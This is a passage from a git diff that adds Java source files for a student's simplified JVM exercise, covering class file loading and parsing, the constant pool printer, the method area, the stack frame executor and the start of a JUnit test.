+	private Map<String, JavaObject> fieldValues = new HashMap<String,JavaObject>();
+	
+	private String stringValue;
+	
+	private int intValue;
+	
+	private float floatValue;
+	
+	public void setFieldValue(String fieldName, JavaObject fieldValue){
+		fieldValues.put(fieldName, fieldValue);
+	}
+	public JavaObject(int type){
+		this.type = type;
+	}
+	public void setClassName(String className){
+		this.className = className;
+	}
+	public void setStringValue(String value){
+		stringValue = value;
+	}
+	public String getStringValue(){
+		return this.stringValue;
+	}
+	public void setIntValue(int value) {
+		this.intValue = value;		
+	}
+	public int getIntValue(){
+		return this.intValue;
+	}
+	public int getType(){
+		return type;
+	}
+	public JavaObject getFieldValue(String fieldName){
+		return this.fieldValues.get(fieldName);
+	}
+	public String toString(){
+		switch(this.getType()){
+		case INT: 
+			return String.valueOf(this.intValue);
+		case STRING:
+			return this.stringValue;
+		case OBJECT:
+			return this.className +":"+ this.fieldValues;
+		case FLOAT :
+			return String.valueOf(this.floatValue);
+		default:
+			return null;
+		}
+	}
+	public String getClassName(){
+		return this.className;
+	}
+	public void setFloatValue(float value) {
+		this.floatValue = value;		
+	}
+
+}
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/engine/MethodArea.java b/group01/1814014897/zhouhui/src/week08/jvm/engine/MethodArea.java
new file mode 100644
index 0000000000..e11d42d3a6
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/engine/MethodArea.java
@@ -0,0 +1,87 @@
+package week08.jvm.engine;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import week08.jvm.clz.ClassFile;
+import week08.jvm.constant.MethodRefInfo;
+import week08.jvm.loader.ClassFileLoader;
+import week08.jvm.method.Method;
+
+public class MethodArea {
+	
+	public static final MethodArea instance = new MethodArea();
+	
+	/**
+	 * 注意：我们做了极大的简化， ClassLoader 只有一个， 实际JVM中的ClassLoader,是一个双亲委托的模型
+	 */
+	
+	private ClassFileLoader clzLoader = null;
+	
+	Map<String,ClassFile> map = new HashMap<String,ClassFile>();
+	
+	private MethodArea(){		
+	}
+	
+	public static MethodArea getInstance(){
+		return instance;
+	}
+	
+	public void setClassFileLoader(ClassFileLoader clzLoader){
+		this.clzLoader = clzLoader;
+	}
+	
+	public Method getMainMethod(String className){
+		
+		ClassFile clzFile = this.findClassFile(className);
+		
+		return clzFile.getMainMethod();
+	}
+	
+	
+	public  ClassFile findClassFile(String className){
+		
+		if(map.get(className) != null){
+			return map.get(className);
+		}
+		// 看来该class 文件还没有load过
+		ClassFile clzFile = this.clzLoader.loadClass(className);
+		
+		map.put(className, clzFile);
+		
+		return clzFile;
+		
+	}
+	
+	
+	public Method getMethod(String className, String methodName, String paramAndReturnType){
+
+		ClassFile clz = this.findClassFile(className);
+		
+		Method m = clz.getMethod(methodName, paramAndReturnType);
+		
+		if(m == null){
+			
+			throw new RuntimeException("method can't be found : \n" 
+					+ "class: " + className
+					+ "method: " + methodName
+					+ "paramAndReturnType: " + paramAndReturnType);
+		}
+		
+		return m;
+	}
+	
+	
+	public Method getMethod(MethodRefInfo methodRef){		
+		ClassFile clz = this.findClassFile(methodRef.getClassName());
+		
+		Method m = clz.getMethod(methodRef.getMethodName(), methodRef.getParamAndReturnType());
+		
+		if(m == null){
+			throw new RuntimeException("method can't be found : " + methodRef.toString());
+		}
+		
+		return m;
+			
+	}
+}
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/engine/MiniJVM.java b/group01/1814014897/zhouhui/src/week08/jvm/engine/MiniJVM.java
new file mode 100644
index 0000000000..6ac5c79343
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/engine/MiniJVM.java
@@ -0,0 +1,28 @@
+package week08.jvm.engine;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+
+import week08.jvm.loader.ClassFileLoader;
+
+
+public class MiniJVM {
+	
+	public void run(String[]classPaths , String className) throws FileNotFoundException, IOException{
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		for(int i=0;i<classPaths.length ; i++){
+			loader.addClassPath(classPaths[i]);
+		}
+		
+		MethodArea methodArea= MethodArea.getInstance();
+		
+		methodArea.setClassFileLoader(loader);
+		
+		ExecutorEngine engine = new ExecutorEngine();
+		
+		className = className.replace(".", "/");
+		
+		engine.execute(methodArea.getMainMethod(className));
+	}
+	
+}
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/engine/StackFrame.java b/group01/1814014897/zhouhui/src/week08/jvm/engine/StackFrame.java
new file mode 100644
index 0000000000..a4dd833912
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/engine/StackFrame.java
@@ -0,0 +1,131 @@
+package week08.jvm.engine;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+import week08.jvm.cmd.ByteCodeCommand;
+import week08.jvm.method.Method;
+
+public class StackFrame {
+	
+	private List<JavaObject> localVariableTable = new ArrayList<JavaObject>();
+	private Stack<JavaObject> oprandStack = new Stack<JavaObject>();
+	
+	int index = 0;
+	
+	private Method m = null;
+	
+	private StackFrame callerFrame = null;
+	
+	public StackFrame getCallerFrame() {
+		return callerFrame;
+	}
+
+	public void setCallerFrame(StackFrame callerFrame) {
+		this.callerFrame = callerFrame;
+	}
+
+	
+	
+	
+	public static  StackFrame create(Method m){
+		
+		StackFrame frame = new StackFrame( m );			
+		
+		return frame;
+	}
+
+	
+	private StackFrame(Method m) {		
+		this.m = m;
+		
+	}
+	
+	
+	
+	public JavaObject getLocalVariableValue(int index){
+		return this.localVariableTable.get(index);
+	}
+	
+	public Stack<JavaObject> getOprandStack(){
+		return this.oprandStack;
+	}
+	
+	public int getNextCommandIndex(int offset){
+		
+		ByteCodeCommand [] cmds = m.getCodeAttr().getCmds();
+		for(int i=0;i<cmds.length; i++){
+			if(cmds[i].getOffset() == offset){
+				return i;
+			}
+		}
+		throw new RuntimeException("Can't find next command");
+	}
+	
+	public ExecutionResult execute(){
+
+		
+		ByteCodeCommand [] cmds = m.getCmds();
+		
+		while(index<cmds.length){
+			
+			ExecutionResult result = new ExecutionResult();	
+			//缺省值是执行下一条命令
+			result.setNextAction(ExecutionResult.RUN_NEXT_CMD);
+			
+			System.out.println(cmds[index].toString());
+			
+			cmds[index].execute(this,result);
+			
+			if(result.isRunNextCmd()){
+				index++;
+			}
+			else if(result.isExitCurrentFrame()){
+				return result;
+			}
+			else if(result.isPauseAndRunNewFrame()){
+				index++;
+				return result;
+			}					
+			else if(result.isJump()){
+				int offset = result.getNextCmdOffset();
+				this.index = getNextCommandIndex(offset);
+			} else{
+				index++;
+			}
+			
+		}
+		
+		//当前StackFrmae的指令全部执行完毕，可以退出了
+		ExecutionResult result = new ExecutionResult();
+		result.setNextAction(ExecutionResult.EXIT_CURRENT_FRAME);
+		return result;
+		
+	}
+
+	
+	
+	
+	public void setLocalVariableTable(List<JavaObject> values){
+		this.localVariableTable = values;	
+	}
+	
+	public void setLocalVariableValue(int index, JavaObject jo){
+		//问题： 为什么要这么做？？
+		if(this.localVariableTable.size()-1 < index){
+			for(int i=this.localVariableTable.size(); i<=index; i++){
+				this.localVariableTable.add(null);
+			}
+		}
+		this.localVariableTable.set(index, jo);
+		
+		
+	}
+	
+	public Method getMethod(){
+		return m;
+	}
+	
+
+}
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/field/Field.java b/group01/1814014897/zhouhui/src/week08/jvm/field/Field.java
new file mode 100644
index 0000000000..e18b445be2
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/field/Field.java
@@ -0,0 +1,50 @@
+package week08.jvm.field;
+
+import week08.jvm.constant.ConstantPool;
+import week08.jvm.constant.UTF8Info;
+import week08.jvm.loader.ByteCodeIterator;
+
+
+public class Field {
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	
+	
+	
+	private ConstantPool pool;
+	
+	public Field( int accessFlag, int nameIndex, int descriptorIndex,ConstantPool pool) {
+		
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+		this.pool = pool;
+	}
+
+	public String toString() {
+		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
+		
+		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
+		return name +":"+ desc;
+	}
+	
+	
+	public static Field parse(ConstantPool pool,ByteCodeIterator iter){
+		
+		int accessFlag = iter.nextU2ToInt();
+		int nameIndex = iter.nextU2ToInt();
+		int descIndex = iter.nextU2ToInt();
+		int attribCount = iter.nextU2ToInt();
+		//System.out.println("field attribute count:"+ attribCount);
+		
+		Field f = new Field(accessFlag, nameIndex, descIndex,pool);
+		
+		if(attribCount > 0){
+			throw new RuntimeException("Field Attribute has not been implemented");
+		}
+		
+		return f;
+	}
+
+}
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/loader/ByteCodeIterator.java b/group01/1814014897/zhouhui/src/week08/jvm/loader/ByteCodeIterator.java
new file mode 100644
index 0000000000..59eb73aff2
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/loader/ByteCodeIterator.java
@@ -0,0 +1,57 @@
+package week08.jvm.loader;
+
+import java.util.Arrays;
+
+import week08.jvm.util.Util;
+
+public  class ByteCodeIterator {
+	byte[] codes;
+	int pos = 0;
+
+	ByteCodeIterator(byte[] codes) {
+		this.codes = codes;
+	}
+
+	
+
+	public byte[] getBytes(int len) {
+		if (pos + len >= codes.length) {
+			throw new ArrayIndexOutOfBoundsException();
+		}
+
+		byte[] data = Arrays.copyOfRange(codes, pos, pos + len);
+		pos += len;
+		return data;
+	}
+
+	public int nextU1toInt() {
+
+		return Util.byteToInt(new byte[] { codes[pos++] });
+	}
+
+	public int nextU2ToInt() {
+		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++] });
+	}
+
+	public int nextU4ToInt() {
+		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] });
+	}
+
+	public String nextU4ToHexString() {
+		return Util.byteToHexString((new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] }));
+	}
+
+	public String nextUxToHexString(int len) {
+		byte[] tmp = new byte[len];
+
+		for (int i = 0; i < len; i++) {
+			tmp[i] = codes[pos++];
+		}
+		return Util.byteToHexString(tmp).toLowerCase();
+
+	}
+
+	public void back(int n) {
+		this.pos -= n;
+	}
+}
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/loader/ClassFileLoader.java b/group01/1814014897/zhouhui/src/week08/jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..ae32538e26
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,123 @@
+package week08.jvm.loader;
+
+import java.io.BufferedInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.StringUtils;
+
+import week08.jvm.clz.ClassFile;
+
+public class ClassFileLoader {
+
+	private List<String> clzPaths = new ArrayList<String>();
+
+	public byte[] readBinaryCode(String className) {
+
+		className = className.replace('.', File.separatorChar) + ".class";
+
+		for (String path : this.clzPaths) {
+
+			String clzFileName = path + File.separatorChar + className;
+			byte[] codes = loadClassFile(clzFileName);
+			if (codes != null) {
+				return codes;
+			}
+		}
+
+		return null;
+
+	}
+
+	private byte[] loadClassFile(String clzFileName) {
+
+		File f = new File(clzFileName);
+
+		try {
+
+			return IOUtils.toByteArray(new FileInputStream(f));
+
+		} catch (IOException e) {
+			e.printStackTrace();
+			return null;
+		}
+	}
+
+	public void addClassPath(String path) {
+		if (this.clzPaths.contains(path)) {
+			return;
+		}
+
+		this.clzPaths.add(path);
+
+	}
+
+	public String getClassPath() {
+		return StringUtils.join(this.clzPaths, ";");
+	}
+
+	public ClassFile loadClass(String className) {
+		byte[] codes = this.readBinaryCode(className);
+		ClassFileParser parser = new ClassFileParser();
+		return parser.parse(codes);
+
+	}
+
+	// ------------------------------backup------------------------
+	public String getClassPath_V1() {
+
+		StringBuffer buffer = new StringBuffer();
+		for (int i = 0; i < this.clzPaths.size(); i++) {
+			buffer.append(this.clzPaths.get(i));
+			if (i < this.clzPaths.size() - 1) {
+				buffer.append(";");
+			}
+		}
+		return buffer.toString();
+	}
+
+	private byte[] loadClassFile_V1(String clzFileName) {
+
+		BufferedInputStream bis = null;
+
+		try {
+
+			File f = new File(clzFileName);
+
+			bis = new BufferedInputStream(new FileInputStream(f));
+
+			ByteArrayOutputStream bos = new ByteArrayOutputStream();
+
+			byte[] buffer = new byte[1024];
+			int length = -1;
+
+			while ((length = bis.read(buffer)) != -1) {
+				bos.write(buffer, 0, length);
+			}
+
+			byte[] codes = bos.toByteArray();
+
+			return codes;
+
+		} catch (IOException e) {
+			e.printStackTrace();
+
+		} finally {
+			if (bis != null) {
+				try {
+					bis.close();
+				} catch (IOException e) {
+					e.printStackTrace();
+				}
+			}
+		}
+		return null;
+
+	}
+
+}
\ No newline at end of file
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/loader/ClassFileParser.java b/group01/1814014897/zhouhui/src/week08/jvm/loader/ClassFileParser.java
new file mode 100644
index 0000000000..ae16323539
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/loader/ClassFileParser.java
@@ -0,0 +1,176 @@
+package week08.jvm.loader;
+
+import java.io.UnsupportedEncodingException;
+
+import week08.jvm.loader.ByteCodeIterator;
+import week08.jvm.clz.AccessFlag;
+import week08.jvm.clz.ClassFile;
+import week08.jvm.clz.ClassIndex;
+import week08.jvm.constant.ClassInfo;
+import week08.jvm.constant.ConstantPool;
+import week08.jvm.constant.FieldRefInfo;
+import week08.jvm.constant.MethodRefInfo;
+import week08.jvm.constant.NameAndTypeInfo;
+import week08.jvm.constant.NullConstantInfo;
+import week08.jvm.constant.StringInfo;
+import week08.jvm.constant.UTF8Info;
+import week08.jvm.field.Field;
+import week08.jvm.method.Method;
+
+public class ClassFileParser {
+
+	public ClassFile parse(byte[] codes) {
+
+		ClassFile clzFile = new ClassFile();
+
+		ByteCodeIterator iter = new ByteCodeIterator(codes);
+
+		String magicNumber = iter.nextU4ToHexString();
+
+		if (!"cafebabe".equals(magicNumber)) {
+			return null;
+		}
+
+		clzFile.setMinorVersion(iter.nextU2ToInt());
+		clzFile.setMajorVersion(iter.nextU2ToInt());
+
+		ConstantPool pool = parseConstantPool(iter);
+		clzFile.setConstPool(pool);
+
+		AccessFlag flag = parseAccessFlag(iter);
+		clzFile.setAccessFlag(flag);
+
+		ClassIndex clzIndex = parseClassInfex(iter);
+		clzFile.setClassIndex(clzIndex);
+
+		parseInterfaces(iter);
+
+		parseFields(clzFile, iter);
+
+		parseMethods(clzFile, iter);
+
+		return clzFile;
+	}
+
+	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
+
+		AccessFlag flag = new AccessFlag(iter.nextU2ToInt());
+		// System.out.println("Is public class: " + flag.isPublicClass());
+		// System.out.println("Is final class : " + flag.isFinalClass());
+
+		return flag;
+	}
+
+	private ClassIndex parseClassInfex(ByteCodeIterator iter) {
+
+		int thisClassIndex = iter.nextU2ToInt();
+		int superClassIndex = iter.nextU2ToInt();
+
+		ClassIndex clzIndex = new ClassIndex();
+
+		clzIndex.setThisClassIndex(thisClassIndex);
+		clzIndex.setSuperClassIndex(superClassIndex);
+
+		return clzIndex;
+
+	}
+
+	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
+
+		int constPoolCount = iter.nextU2ToInt();
+
+		System.out.println("Constant Pool Count :" + constPoolCount);
+
+		ConstantPool pool = new ConstantPool();
+
+		pool.addConstantInfo(new NullConstantInfo());
+
+		for (int i = 1; i <= constPoolCount - 1; i++) {
+
+			int tag = iter.nextU1toInt();
+
+			if (tag == 7) {
+				// Class Info
+				int utf8Index = iter.nextU2ToInt();
+				ClassInfo clzInfo = new ClassInfo(pool);
+				clzInfo.setUtf8Index(utf8Index);
+
+				pool.addConstantInfo(clzInfo);
+			} else if (tag == 1) {
+				// UTF-8 String
+				int len = iter.nextU2ToInt();
+				byte[] data = iter.getBytes(len);
+				String value = null;
+				try {
+					value = new String(data, "UTF-8");
+				} catch (UnsupportedEncodingException e) {
+					e.printStackTrace();
+				}
+
+				UTF8Info utf8Str = new UTF8Info(pool);
+				utf8Str.setLength(len);
+				utf8Str.setValue(value);
+				pool.addConstantInfo(utf8Str);
+			} else if (tag == 8) {
+				// String
+				StringInfo info = new StringInfo(pool);
+				info.setIndex(iter.nextU2ToInt());
+				pool.addConstantInfo(info);
+			} else if (tag == 9) {
+				// FieldRef
+				FieldRefInfo field = new FieldRefInfo(pool);
+				field.setClassInfoIndex(iter.nextU2ToInt());
+				field.setNameAndTypeIndex(iter.nextU2ToInt());
+				pool.addConstantInfo(field);
+			} else if (tag == 10) {
+				// MethodRef
+				MethodRefInfo method = new MethodRefInfo(pool);
+				method.setClassInfoIndex(iter.nextU2ToInt());
+				method.setNameAndTypeIndex(iter.nextU2ToInt());
+				pool.addConstantInfo(method);
+			} else if (tag == 12) {
+				// Name and Type Info
+				NameAndTypeInfo nameType = new NameAndTypeInfo(pool);
+				nameType.setIndex1(iter.nextU2ToInt());
+				nameType.setIndex2(iter.nextU2ToInt());
+				pool.addConstantInfo(nameType);
+			} else {
+				throw new RuntimeException("the constant pool tag " + tag + " has not been implemented yet.");
+			}
+		}
+
+		System.out.println("Finished reading Constant pool ");
+
+		return pool;
+	}
+
+	private void parseInterfaces(ByteCodeIterator iter) {
+		int interfaceCount = iter.nextU2ToInt();
+
+		System.out.println("interfaceCount:" + interfaceCount);
+
+		// TODO : 如果实现了interface, 这里需要解析
+	}
+
+	private void parseFields(ClassFile clzFile, ByteCodeIterator iter) {
+		int fieldCount = iter.nextU2ToInt();
+		System.out.println("Field count:" + fieldCount);
+		for (int i = 1; i <= fieldCount; i++) {
+			Field f = Field.parse(clzFile.getConstantPool(), iter);
+			clzFile.addField(f);
+		}
+
+	}
+
+	private void parseMethods(ClassFile clzFile, ByteCodeIterator iter) {
+		int methodCount = iter.nextU2ToInt();
+		System.out.println("Method count:" + methodCount);
+		for (int i = 1; i <= methodCount; i++) {
+			Method m = Method.parse(clzFile, iter);
+			clzFile.addMethod(m);
+		}
+
+	}
+	
+	
+}
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/method/Method.java b/group01/1814014897/zhouhui/src/week08/jvm/method/Method.java
new file mode 100644
index 0000000000..0db0effd34
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/method/Method.java
@@ -0,0 +1,155 @@
+package week08.jvm.method;
+
+import week08.jvm.clz.ClassFile;
+import week08.jvm.cmd.ByteCodeCommand;
+import week08.jvm.method.Method;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import week08.jvm.attr.AttributeInfo;
+import week08.jvm.attr.CodeAttr;
+import week08.jvm.constant.ConstantPool;
+import week08.jvm.constant.UTF8Info;
+import week08.jvm.loader.ByteCodeIterator;
+
+public class Method {
+
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+
+	private CodeAttr codeAttr;
+
+	private ClassFile clzFile;
+
+	public ClassFile getClzFile() {
+		return clzFile;
+	}
+
+	public int getNameIndex() {
+		return nameIndex;
+	}
+
+	public int getDescriptorIndex() {
+		return descriptorIndex;
+	}
+
+	public CodeAttr getCodeAttr() {
+		return codeAttr;
+	}
+
+	public void setCodeAttr(CodeAttr code) {
+		this.codeAttr = code;
+	}
+
+	public Method(ClassFile clzFile, int accessFlag, int nameIndex, int descriptorIndex) {
+		this.clzFile = clzFile;
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+	}
+
+	public String toString() {
+
+		ConstantPool pool = this.clzFile.getConstantPool();
+		StringBuilder buffer = new StringBuilder();
+
+		String name = ((UTF8Info) pool.getConstantInfo(this.nameIndex)).getValue();
+
+		String desc = ((UTF8Info) pool.getConstantInfo(this.descriptorIndex)).getValue();
+
+		buffer.append(name).append(":").append(desc).append("\n");
+
+		buffer.append(this.codeAttr.toString(pool));
+
+		return buffer.toString();
+	}
+
+	public static Method parse(ClassFile clzFile, ByteCodeIterator iter) {
+		int accessFlag = iter.nextU2ToInt();
+		int nameIndex = iter.nextU2ToInt();
+		int descIndex = iter.nextU2ToInt();
+		int attribCount = iter.nextU2ToInt();
+
+		Method m = new Method(clzFile, accessFlag, nameIndex, descIndex);
+
+		for (int i = 1; i <= attribCount; i++) {
+			int attrNameIndex = iter.nextU2ToInt();
+			String attrName = clzFile.getConstantPool().getUTF8String(attrNameIndex);
+			iter.back(2);
+
+			if (AttributeInfo.CODE.equalsIgnoreCase(attrName)) {
+				CodeAttr codeAttr = CodeAttr.parse(clzFile, iter);
+				m.setCodeAttr(codeAttr);
+			} else {
+				throw new RuntimeException("only CODE attribute is implemented");
+			}
+		}
+		return m;
+
+	}
+
+	public ByteCodeCommand[] getCmds() {
+		return this.getCodeAttr().getCmds();
+	}
+
+	public List<String> getParameterList() {
+		
+		// e.g. (Ljava/util/List;Ljava/lang/String;II)V
+		String paramAndType = getParamAndReturnType();
+		
+		int first = paramAndType.indexOf("(");
+		int last = paramAndType.lastIndexOf(")");
+		// e.g. Ljava/util/List;Ljava/lang/String;II
+		String param = paramAndType.substring(first+1, last);		
+		
+		List<String> paramList = new ArrayList<String>();
+		
+		if((null == param) || "".equals(param)){
+			return paramList;
+		}
+		
+		while(!param.equals("")){
+			
+			int pos = 0;
+			// 这是一个对象类型
+			if(param.charAt(pos) == 'L'){
+				
+				int end = param.indexOf(";");
+				
+				if(end == -1){
+					throw new RuntimeException("can't find the ; for a object type");
+				}
+				paramList.add(param.substring(pos+1,end));
+				
+				pos = end + 1; 				
+				
+			} 
+			else if(param.charAt(pos) == 'I'){
+				// int
+				paramList.add("I");
+				pos ++;
+				
+			}
+			else if(param.charAt(pos) == 'F'){
+				// float
+				paramList.add("F");
+				pos ++;
+				
+			} else{
+				throw new RuntimeException("the param has unsupported type:" + param);
+			}
+			
+			param = param.substring(pos);
+			
+		}
+		return paramList;
+	}
+
+	private String getParamAndReturnType() {
+		UTF8Info  nameAndTypeInfo = (UTF8Info)this.getClzFile()
+				.getConstantPool().getConstantInfo(this.getDescriptorIndex());
+		return nameAndTypeInfo.getValue();
+	}
+}
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/print/ClassFilePrinter.java b/group01/1814014897/zhouhui/src/week08/jvm/print/ClassFilePrinter.java
new file mode 100644
index 0000000000..063c01fd41
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/print/ClassFilePrinter.java
@@ -0,0 +1,52 @@
+package week08.jvm.print;
+
+import week08.jvm.clz.ClassFile;
+import week08.jvm.constant.ClassInfo;
+import week08.jvm.constant.ConstantInfo;
+import week08.jvm.constant.ConstantPool;
+import week08.jvm.constant.FieldRefInfo;
+import week08.jvm.constant.MethodRefInfo;
+import week08.jvm.constant.NameAndTypeInfo;
+
+import week08.jvm.constant.StringInfo;
+import week08.jvm.constant.UTF8Info;
+import week08.jvm.loader.ClassFileLoader;
+
+public class ClassFilePrinter {
+	ClassFile clzFile = null;
+
+	public ClassFilePrinter(ClassFile clzFile) {
+		this.clzFile = clzFile;
+	}
+
+	public void print() {
+
+		if (clzFile.getAccessFlag().isPublicClass()) {
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:" + clzFile.getClassName());
+
+		System.out.println("Super Class Name:" + clzFile.getSuperClassName());
+
+		System.out.println("minor version:" + clzFile.getMinorVersion());
+
+		System.out.println("major version:" + clzFile.getMinorVersion());
+
+		ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
+		cnstPoolPrinter.print();
+
+	}
+
+	public static void main(String[] args) {
+		String path = ("" + ClassLoader.getSystemResource("")).replaceAll("file:/", "");
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path);
+		String className = "week08.jvm.test.EmployeeV1";
+
+		ClassFile clzFile = loader.loadClass(className);
+
+		ClassFilePrinter printer = new ClassFilePrinter(clzFile);
+
+		printer.print();
+	}
+}
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/print/ConstantPoolPrinter.java b/group01/1814014897/zhouhui/src/week08/jvm/print/ConstantPoolPrinter.java
new file mode 100644
index 0000000000..6df553a584
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/print/ConstantPoolPrinter.java
@@ -0,0 +1,103 @@
+package week08.jvm.print;
+
+import java.util.Formatter;
+
+import week08.jvm.constant.ConstantInfo.Visitor;
+import week08.jvm.constant.ClassInfo;
+import week08.jvm.constant.ConstantInfo;
+import week08.jvm.constant.ConstantPool;
+import week08.jvm.constant.FieldRefInfo;
+import week08.jvm.constant.MethodRefInfo;
+import week08.jvm.constant.NameAndTypeInfo;
+import week08.jvm.constant.StringInfo;
+import week08.jvm.constant.UTF8Info;
+
+public class ConstantPoolPrinter {
+	ConstantPool pool;
+
+	ConstantPoolPrinter(ConstantPool pool) {
+		this.pool = pool;
+	}
+
+	public void print() {
+
+		System.out.println("Constant Pool:");
+
+		Visitor visitor = new Visitor() {
+
+			@Override
+			public void visitClassInfo(ClassInfo info) {
+				Formatter f = new Formatter(System.out);
+				String s1 = "Class";
+				String s2 = "#" + info.getUtf8Index();
+				String s3 = "//" + info.getClassName();
+				f.format("%-20s %-15s %-50s\n", s1, s2, s3);
+
+			}
+
+			@Override
+			public void visitFieldRef(FieldRefInfo info) {
+				Formatter f = new Formatter(System.out);
+				String s1 = "FieldRef";
+				String s2 = "#" + info.getClassInfoIndex() + ".#" + info.getNameAndTypeIndex();
+				String s3 = "//" + info.getClassName() + "." + info.getFieldName() + ":" + info.getFieldType();
+				f.format("%-20s %-15s %-50s\n", s1, s2, s3);
+
+			}
+
+			@Override
+			public void visitMethodRef(MethodRefInfo info) {
+				Formatter f = new Formatter(System.out);
+				String s1 = "MethodRef";
+				String s2 = "#" + info.getClassInfoIndex() + ".#" + info.getNameAndTypeIndex();
+				String s3;
+				if (info.getMethodName().equals("<init>")) {
+					s3 = "//" + info.getClassName() + ".\"" + info.getMethodName() + "\":"
+							+ info.getParamAndReturnType();
+				} else {
+					s3 = "//" + info.getClassName() + "." + info.getMethodName() + ":" + info.getParamAndReturnType();
+				}
+				f.format("%-20s %-15s %-50s\n", s1, s2, s3);
+			}
+
+			@Override
+			public void visitNameAndType(NameAndTypeInfo info) {
+				Formatter f = new Formatter(System.out);
+				String s1 = "NameAndType";
+				String s2 = "#" + info.getIndex1() + ":#" + info.getIndex2();
+				String s3;
+				if (info.getName().equals("<init>")) {
+					s3 = "//" + "\"" + info.getName() + "\"" + ":" + info.getTypeInfo();
+				} else {
+					s3 = "//" + info.getName() + ":" + info.getTypeInfo();
+				}
+				f.format("%-20s %-15s %-50s\n", s1, s2, s3);
+			}
+
+			@Override
+			public void visitString(StringInfo info) {
+				Formatter f = new Formatter(System.out);
+				String s1 = "String";
+				String s2 = "#" + info.getIndex();
+				String s3 = "//" + info.toString();
+				f.format("%-20s %-15s %-50s\n", s1, s2, s3);
+
+			}
+
+			@Override
+			public void visistUTF8(UTF8Info info) {
+				Formatter f = new Formatter(System.out);
+				String s1 = "Utf8";
+				String s2 = info.getValue();
+				f.format("%-20s %-15s\n", s1, s2);
+			}
+		};
+
+		for (int i = 1; i <= pool.getSize(); i++) {
+			ConstantInfo constantInfo = pool.getConstantInfo(i);
+			System.out.printf("#%-2d = ", i);
+			constantInfo.accept(visitor);
+		}
+
+	}
+}
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/test/ClassFileloaderTest.java b/group01/1814014897/zhouhui/src/week08/jvm/test/ClassFileloaderTest.java
new file mode 100644
index 0000000000..0defc42915
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/test/ClassFileloaderTest.java
@@ -0,0 +1,329 @@
+package week08.jvm.test;
+
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import week08.jvm.clz.ClassFile;
+import week08.jvm.clz.ClassIndex;
+import week08.jvm.cmd.BiPushCmd;
+import week08.jvm.cmd.ByteCodeCommand;
+import week08.jvm.cmd.OneOperandCmd;
+import week08.jvm.cmd.TwoOperandCmd;
+import week08.jvm.constant.ClassInfo;
+import week08.jvm.constant.ConstantPool;
+import week08.jvm.constant.MethodRefInfo;
+import week08.jvm.constant.NameAndTypeInfo;
+import week08.jvm.constant.UTF8Info;
+import week08.jvm.field.Field;
+import week08.jvm.loader.ClassFileLoader;
+import week08.jvm.method.Method;
+
+public class ClassFileloaderTest {
+
+	private static final String FULL_QUALIFIED_CLASS_NAME = "week08/jvm/test/EmployeeV1";
+
+	static String path1 = ("" + ClassLoader.getSystemResource("")).replaceAll("file:/", "");
+	static String path2 = "C:\temp";
+
+	static ClassFile clzFile = null;
+	static {
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "week08.jvm.test.EmployeeV1";
+
+		clzFile = loader.loadClass(className);
+
+	}
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testClassPath() {
+
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+
+		String clzPath = loader.getClassPath();
+
+		Assert.assertEquals(path1 + ";" + path2, clzPath);
+
+	}
+
+	@Test
+	public void testClassFileLength() {
+
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+
+		String className = "week08.jvm.test.EmployeeV1";
+
+		byte[] byteCodes = loader.readBinaryCode(className);
+
